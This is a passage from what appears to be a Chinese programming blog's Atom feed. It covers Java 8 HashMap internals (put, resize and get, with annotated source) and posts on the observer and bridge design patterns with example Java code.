O(logN)。</p><p>来一张图简单示意一下吧：\</p><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586586239096.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 3 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><p>注意，上图是示意图，主要是描述结构，不会达到这个状态的，因为这么多数据的时候早就扩容了。</p><p>下面，我们还是用代码来介绍吧，个人感觉，Java8 的源码可读性要差一些，不过精简一些。</p><p>Java7 中使用 Entry 来代表每个 HashMap 中的数据节点，Java8 中使用 Node，基本没有区别，都是 key，value，hash 和 next 这四个属性，不过，Node 只能用于链表的情况，红黑树的情况需要使用 TreeNode。</p><p>我们根据数组元素中，第一个节点数据类型是 Node 还是 TreeNode 来判断该位置下是链表还是红黑树的。</p><h3 id="put-过程分析-1"><a href="#put-过程分析-1" class="headerlink" title="put 过程分析"></a>put 过程分析</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">public V put(K key, V value) &#123;</span><br><span class="line">    return putVal(hash(key), key, value, false, true);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>&#x2F;&#x2F; 第三个参数 onlyIfAbsent 如果是 true，那么只有在不存在该 key 时才会进行 put 操作<br>&#x2F;&#x2F; 第四个参数 evict 我们这里不关心</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">final V putVal(int hash, K key, V value, boolean onlyIfAbsent,</span><br><span class="line">               boolean evict) &#123;</span><br><span class="line">    Node&lt;K,V&gt;[] tab; Node&lt;K,V&gt; p; int n, i;</span><br><span class="line">    // 第一次 put 值的时候，会触发下面的 resize()，类似 java7 的第一次 put 也要初始化数组长度</span><br><span class="line">    // 第一次 resize 和后续的扩容有些不一样，因为这次是数组从 null 初始化到默认的 16 或自定义的初始容量</span><br><span class="line">    if ((tab = table) == null || (n = tab.length) == 0)</span><br><span class="line">        n = (tab = resize()).length;</span><br><span class="line">    // 找到具体的数组下标，如果此位置没有值，那么直接初始化一下 Node 并放置在这个位置就可以了</span><br><span class="line">    if ((p = tab[i = (n - 1) &amp; hash]) == null)</span><br><span class="line">        tab[i] = newNode(hash, key, value, null);</span><br><span class="line"></span><br><span class="line">    else &#123;// 数组该位置有数据</span><br><span class="line">        Node&lt;K,V&gt; e; K k;</span><br><span class="line">        // 首先，判断该位置的第一个数据和我们要插入的数据，key 是不是&quot;相等&quot;，如果是，取出这个节点</span><br><span class="line">        if (p.hash == hash &amp;&amp;</span><br><span class="line">            ((k = p.key) == key || (key != null &amp;&amp; key.equals(k))))</span><br><span class="line">            e = p;</span><br><span class="line">        // 如果该节点是代表红黑树的节点，调用红黑树的插值方法，本文不展开说红黑树</span><br><span class="line">        else if (p instanceof TreeNode)</span><br><span class="line">            e = ((TreeNode&lt;K,V&gt;)p).putTreeVal(this, tab, hash, key, value);</span><br><span class="line">        else &#123;</span><br><span class="line">            // 到这里，说明数组该位置上是一个链表</span><br><span class="line">            for (int binCount = 0; ; ++binCount) &#123;</span><br><span class="line">                // 插入到链表的最后面(Java7 是插入到链表的最前面)</span><br><span class="line">                if ((e = p.next) == null) &#123;</span><br><span class="line">                    p.next = newNode(hash, key, value, null);</span><br><span class="line">                    // TREEIFY_THRESHOLD 为 8，所以，如果新插入的值是链表中的第 8 个</span><br><span class="line">                    // 会触发下面的 treeifyBin，也就是将链表转换为红黑树</span><br><span class="line">                    if (binCount &gt;= TREEIFY_THRESHOLD - 1) // -1 for 1st</span><br><span class="line">                        treeifyBin(tab, hash);</span><br><span class="line">                    break;</span><br><span class="line">                &#125;</span><br><span class="line">                // 如果在该链表中找到了&quot;相等&quot;的 key(== 或 equals)</span><br><span class="line">                if (e.hash == hash &amp;&amp;</span><br><span class="line">                    ((k = e.key) == key || (key != null &amp;&amp; key.equals(k))))</span><br><span class="line">                    // 此时 break，那么 e 为链表中[与要插入的新值的 key &quot;相等&quot;]的 node</span><br><span class="line">                    break;</span><br><span class="line">                p = e;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        // e!=null 说明存在旧值的key与要插入的key&quot;相等&quot;</span><br><span class="line">        // 对于我们分析的put操作，下面这个 if 其实就是进行 &quot;值覆盖&quot;，然后返回旧值</span><br><span class="line">        if (e != null) &#123;</span><br><span class="line">            V oldValue = e.value;</span><br><span class="line">            if (!onlyIfAbsent || oldValue == null)</span><br><span class="line">                e.value = value;</span><br><span class="line">            afterNodeAccess(e);</span><br><span class="line">            return oldValue;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    ++modCount;</span><br><span class="line">    // 如果 HashMap 由于新插入这个值导致 size 已经超过了阈值，需要进行扩容</span><br><span class="line">    if (++size &gt; threshold)</span><br><span class="line">        resize();</span><br><span class="line">    afterNodeInsertion(evict);</span><br><span class="line">    return null;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>和 Java7 稍微有点不一样的地方就是，Java7 是先扩容后插入新值的，Java8 先插值再扩容，不过这个不重要。</p><h3 id="数组扩容"><a href="#数组扩容" class="headerlink" title="数组扩容"></a>数组扩容</h3><p>resize() 方法用于初始化数组或数组扩容，每次扩容后，容量为原来的 2 倍，并进行数据迁移。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line">final Node&lt;K,V&gt;[] resize() &#123;</span><br><span class="line">    Node&lt;K,V&gt;[] oldTab = table;</span><br><span class="line">    int oldCap = (oldTab == null) ? 0 : oldTab.length;</span><br><span class="line">    int oldThr = threshold;</span><br><span class="line">    int newCap, newThr = 0;</span><br><span class="line">    if (oldCap &gt; 0) &#123; // 对应数组扩容</span><br><span class="line">        if (oldCap &gt;= MAXIMUM_CAPACITY) &#123;</span><br><span class="line">            threshold = Integer.MAX_VALUE;</span><br><span class="line">            return oldTab;</span><br><span class="line">        &#125;</span><br><span class="line">        // 将数组大小扩大一倍</span><br><span class="line">        else if ((newCap = oldCap &lt;&lt; 1) &lt; MAXIMUM_CAPACITY &amp;&amp;</span><br><span class="line">                 oldCap &gt;= DEFAULT_INITIAL_CAPACITY)</span><br><span class="line">            // 将阈值扩大一倍</span><br><span class="line">            newThr = oldThr &lt;&lt; 1; // double threshold</span><br><span class="line">    &#125;</span><br><span class="line">    else if (oldThr &gt; 0) // 对应使用 new HashMap(int initialCapacity) 初始化后，第一次 put 的时候</span><br><span class="line">        newCap = oldThr;</span><br><span class="line">    else &#123;// 对应使用 new HashMap() 初始化后，第一次 put 的时候</span><br><span class="line">        newCap = DEFAULT_INITIAL_CAPACITY;</span><br><span class="line">        newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    if (newThr == 0) &#123;</span><br><span class="line">        float ft = (float)newCap * loadFactor;</span><br><span class="line">        newThr = (newCap &lt; MAXIMUM_CAPACITY &amp;&amp; ft &lt; (float)MAXIMUM_CAPACITY ?</span><br><span class="line">                  (int)ft : Integer.MAX_VALUE);</span><br><span class="line">    &#125;</span><br><span class="line">    threshold = newThr;</span><br><span class="line"></span><br><span class="line">    // 用新的数组大小初始化新的数组</span><br><span class="line">    Node&lt;K,V&gt;[] newTab = (Node&lt;K,V&gt;[])new Node[newCap];</span><br><span class="line">    table = newTab; // 如果是初始化数组，到这里就结束了，返回 newTab 即可</span><br><span class="line"></span><br><span class="line">    if (oldTab != null) &#123;</span><br><span class="line">        // 开始遍历原数组，进行数据迁移。</span><br><span class="line">        for (int j = 0; j &lt; oldCap; ++j) &#123;</span><br><span class="line">            Node&lt;K,V&gt; e;</span><br><span class="line">            if ((e = oldTab[j]) != null) &#123;</span><br><span class="line">                oldTab[j] = null;</span><br><span class="line">                // 如果该数组位置上只有单个元素，那就简单了，简单迁移这个元素就可以了</span><br><span class="line">                if (e.next == null)</span><br><span class="line">                    newTab[e.hash &amp; (newCap - 1)] = e;</span><br><span class="line">                // 如果是红黑树，具体我们就不展开了</span><br><span class="line">                else if (e instanceof TreeNode)</span><br><span class="line">                    ((TreeNode&lt;K,V&gt;)e).split(this, newTab, j, oldCap);</span><br><span class="line">                else &#123;</span><br><span class="line">                    // 这块是处理链表的情况，</span><br><span class="line">                    // 需要将此链表拆成两个链表，放到新的数组中，并且保留原来的先后顺序</span><br><span class="line">                    // loHead、loTail 对应一条链表，hiHead、hiTail 对应另一条链表，代码还是比较简单的</span><br><span class="line">                    Node&lt;K,V&gt; loHead = null, loTail = null;</span><br><span class="line">                    Node&lt;K,V&gt; hiHead = null, hiTail = null;</span><br><span class="line">                    Node&lt;K,V&gt; next;</span><br><span class="line">                    do &#123;</span><br><span class="line">                        next = e.next;</span><br><span class="line">                        if ((e.hash &amp; oldCap) == 0) &#123;</span><br><span class="line">                            if (loTail == null)</span><br><span class="line">                                loHead = e;</span><br><span class="line">                            else</span><br><span class="line">                                loTail.next = e;</span><br><span class="line">                            loTail = e;</span><br><span class="line">                        &#125;</span><br><span class="line">                        else &#123;</span><br><span class="line">                            if (hiTail == null)</span><br><span class="line">                                hiHead = e;</span><br><span class="line">                            else</span><br><span class="line">                                hiTail.next = e;</span><br><span class="line">                            hiTail = e;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125; while ((e = next) != null);</span><br><span class="line">                    if (loTail != null) &#123;</span><br><span class="line">                        loTail.next = null;</span><br><span class="line">                        // 第一条链表</span><br><span class="line">                        newTab[j] = loHead;</span><br><span class="line">                    &#125;</span><br><span class="line">                    if (hiTail != null) &#123;</span><br><span class="line">                        hiTail.next = null;</span><br><span class="line">                        // 第二条链表的新的位置是 j + oldCap，这个很好理解</span><br><span class="line">                        newTab[j + oldCap] = hiHead;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    return newTab;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="get-过程分析-1"><a href="#get-过程分析-1" class="headerlink" title="get 过程分析"></a>get 过程分析</h3><p>相对于 put 来说，get 真的太简单了。</p><p>计算 key 的 hash 值，根据 hash 值找到对应数组下标: hash &amp; (length-1).<br>判断数组该位置处的元素是否刚好就是我们要找的，如果不是，走第三步.<br>判断该元素类型是否是 TreeNode，如果是，用红黑树的方法取数据，如果不是，走第四步.<br>遍历链表，直到找到相等(&#x3D;&#x3D;或equals)的 key.</p><pre><code>public V get(Object key) {    Node&lt;K,V&gt; e;    return (e = getNode(hash(key), key)) == null ? null : e.value;}final Node&lt;K,V&gt; getNode(int hash, Object key) {    Node&lt;K,V&gt;[] tab; Node&lt;K,V&gt; first, e; int n; K k;    if ((tab = table) != null &amp;&amp; (n = tab.length) &gt; 0 &amp;&amp;        (first = tab[(n - 1) &amp; hash]) != null) {        // 判断第一个节点是不是就是需要的        if (first.hash == hash &amp;&amp; // always check first node            ((k = first.key) == key || (key != null &amp;&amp; key.equals(k))))            return first;        if ((e = first.next) != null) {            // 判断是否是红黑树            if (first instanceof TreeNode)                return ((TreeNode&lt;K,V&gt;)first).getTreeNode(hash, key);            // 链表遍历            do {                if (e.hash == hash &amp;&amp;                    ((k = e.key) == key || (key != null &amp;&amp; key.equals(k))))                    return e;            } while ((e = e.next) != null);        }    }    return null;}</code></pre>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/09/22/%20java%E3%80%90%E9%9B%86%E5%90%88%E7%B1%BB%E6%A1%86%E6%9E%B6%E3%80%91%20hashmap%20%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3/</id>
    <link href="https://blog.chuncui.icu/2020/09/22/%20java%E3%80%90%E9%9B%86%E5%90%88%E7%B1%BB%E6%A1%86%E6%9E%B6%E3%80%91%20hashmap%20%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3/"/>
    <published>2020-09-22T04:05:48.000Z</published>
    <summary>介绍HashMap 可能是面试的时候必问的题目了，面试官为什么都偏爱拿这个问应聘者？因为 HashMap 它的设计结构和原理比较有意思，它既可以考初学者对 Java 集合的了解又可以深度的发现应聘者的数据结构功底。 Java 7 中 HashMapHashMap 是最简单的，一来我们非常熟悉，二来就是它不支持并发操作……</summary>
    <title>集合类框架 hashmap 源码详解</title>
    <updated>2021-05-04T06:18:23.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h3><p>观察者模式又叫发布订阅模式,拥有一个监听者,如果一个被监听者发生了改变则会通知到所有监听者。例子,警察和嫌疑犯之间就是观察者模式。微信朋友圈,相对于好友,你就是观察者,微信好友发送朋友圈你会收到通知</p><h3 id="类图"><a href="#类图" class="headerlink" title="类图"></a>类图</h3><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586165515592.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public class PoliceMan &#123;</span><br><span class="line">    private String name;</span><br><span class="line"></span><br><span class="line">    public PoliceMan(String name) &#123;</span><br><span class="line">        this.name = name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void name() &#123;</span><br><span class="line">        System.out.println(&quot;我是:&quot; + name + &quot;收到消息&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">public class XianFan1 &#123;</span><br><span class="line">    private String name;</span><br><span class="line"></span><br><span class="line">    public XianFan1(String name) &#123;</span><br><span class="line">        this.name = name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    private List&lt;PoliceMan&gt; policeManList = new ArrayList&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    public void addPolice(PoliceMan policeMan) &#123;</span><br><span class="line">        if (!policeManList.contains(policeMan)) &#123;</span><br><span class="line">            policeManList.add(policeMan);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public void run() &#123;</span><br><span class="line">        System.out.println(name + &quot;跑了&quot;);</span><br><span class="line">        notifyAllPoliceMan();</span><br><span class="line">    &#125;</span><br><span class="line">    public void notifyAllPoliceMan()&#123;</span><br><span class="line">        policeManList.stream().forEach(i -&gt; i.name());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试类</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public class Main &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        PoliceMan policeManA =new PoliceMan(&quot;警察:A&quot;);</span><br><span class="line">        PoliceMan policeManB =new PoliceMan(&quot;警察:B&quot;);</span><br><span class="line">        PoliceMan policeManC =new PoliceMan(&quot;警察:C&quot;);</span><br><span class="line">        XianFan1 xianFan1 =new XianFan1(&quot;嫌犯1&quot;);</span><br><span class="line">        xianFan1.addPolice(policeManA);</span><br><span class="line">        xianFan1.addPolice(policeManB);</span><br><span class="line">        xianFan1.addPolice(policeManC);</span><br><span class="line">        xianFan1.run();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586166152531.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>可以看到在被观察者类上面存放观察者的集合,在调用观察者的相关方法的时候循环调用观察者,从而实现发布订阅模式。<br>被观察者需要提供添加观察者和通知观察者方法</p><ul><li>观察者和被观察者的实现复合开闭原则</li><li>实现通知模式</li><li>如果观察者过多通知的时间成本加大</li><li>观察者只知道目标变化,但是具体变化情况不得而知。可以定义相关事件来区分</li></ul>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/09/14/%E3%80%90%E8%A1%8C%E4%B8%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E8%A7%82%E5%AF%9F%E8%80%85%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/09/14/%E3%80%90%E8%A1%8C%E4%B8%BA%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E8%A7%82%E5%AF%9F%E8%80%85%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-09-14T12:01:24.000Z</published>
    <summary>描述观察者模式又叫发布订阅模式,拥有一个监听者,如果一个被监听者发生了改变则会通知到所有监听者。例子,警察和嫌疑犯之间就是观察者模式。微信朋友圈,相对于好友,你就是观察者,微信好友发送朋友圈你会收到通知 类图 代码实现123456789101112public class PoliceMan { private Str……</summary>
    <title>设计模式 行为型模式 观察者模式</title>
    <updated>2021-05-04T06:24:16.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>邓纯粹</name>
    </author>
    <category term="设计模式" scheme="https://blog.chuncui.icu/categories/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <category term="设计模式" scheme="https://blog.chuncui.icu/tags/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/"/>
    <content>
      <![CDATA[<h3 id="描述"><a href="#描述" class="headerlink" title="描述"></a>描述</h3><p>桥接（Bridge）是用于把抽象化与实现化解耦，使得二者可以独立变化。这种类型的设计模式属于结构型模式，它通过提供抽象化和实现化之间的桥接结构，来实现二者的解耦。</p><p>　　这种模式涉及到一个作为桥接的接口，使得实体类的功能独立于接口实现类。这两种类型的类可被结构化改变而互不影响。<br>例子：总共又长方形、正方形、三角形、圆形四个形状。如果现在有需求每个形状要有红、黄、蓝，三个颜色。最能想到的是在每个形状下在创建长方形-红、长方形-黄、长方形-蓝、正方形-红、正方形-黄、正方形-蓝…..等等来进行实现。<br>而使用桥接模式则创建一个抽象的 颜色类。并且实现红色类,黄色类,蓝色类。<br>扩充的形状类存储颜色的引用对象在创建形状的时候去添加对应的颜色引用对象。</p><h3 id="类图"><a href="#类图" class="headerlink" title="类图"></a>类图</h3><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586163074010.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 1 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line">public interface Colour &#123;</span><br><span class="line">    void desc();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">public class Blue implements Colour &#123;</span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;蓝色&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">public class Red implements Colour &#123;</span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;红色&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">public class Yellow implements Colour</span><br><span class="line">&#123;</span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;黄色&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">public abstract class Graphical &#123;</span><br><span class="line">    private Colour colour;</span><br><span class="line"></span><br><span class="line">    public Graphical(Colour colour) &#123;</span><br><span class="line">        this.colour = colour;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    abstract void desc();</span><br><span class="line">    public Colour getColour()&#123;</span><br><span class="line">        return colour;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">public class Rectangle extends Graphical &#123;</span><br><span class="line"></span><br><span class="line">    public Rectangle(Colour colour)&#123;</span><br><span class="line">      super(colour);</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;长方形&quot;);</span><br><span class="line">        getColour().desc();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">public class Square extends Graphical &#123;</span><br><span class="line"></span><br><span class="line">    public Square(Colour colour)&#123;</span><br><span class="line">      super(colour);</span><br><span class="line">    &#125;</span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;正方形&quot;);</span><br><span class="line">        getColour().desc();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">public class Triangle extends Graphical &#123;</span><br><span class="line"></span><br><span class="line">    public Triangle(Colour colour) &#123;</span><br><span class="line">        super(colour);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Override</span><br><span class="line">    public void desc() &#123;</span><br><span class="line">        System.out.println(&quot;三角形&quot;);</span><br><span class="line">        getColour().desc();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">public class Main &#123;</span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        Rectangle rectangle = new Rectangle(new Blue());</span><br><span class="line">        rectangle.desc();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="legacy-image-notice" data-original-src="https://dmr-blog.oss-cn-shanghai.aliyuncs.com/blog/image_1586164465035.png"><img src="/images/legacy-missing.svg" alt="image.png" /><figcaption><strong>旧站配图 2 未恢复</strong> · 原 OSS 存储桶已经删除，原始地址已记录在迁移清单中。</figcaption></figure><h3 id="优点"><a href="#优点" class="headerlink" title="优点"></a>优点</h3><ol><li>解耦解耦解耦解耦解耦解耦解耦</li><li>实现细节对客户透明，可以对用户隐藏实现细节</li></ol><h3 id="缺点"><a href="#缺点" class="headerlink" title="缺点"></a>缺点</h3><p>桥接模式的引入会增加系统的理解与设计难度，由于聚合关联关系建立在抽象层，要求开发者针对抽象进</p>]]>
    </content>
    <id>https://blog.chuncui.icu/2020/08/29/%E3%80%90%E7%BB%93%E6%9E%84%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E6%A1%A5%E6%8E%A5%E6%A8%A1%E5%BC%8F/</id>
    <link href="https://blog.chuncui.icu/2020/08/29/%E3%80%90%E7%BB%93%E6%9E%84%E5%9E%8B%E6%A8%A1%E5%BC%8F%E3%80%91%20%E6%A1%A5%E6%8E%A5%E6%A8%A1%E5%BC%8F/"/>
    <published>2020-08-29T13:11:21.000Z</published>
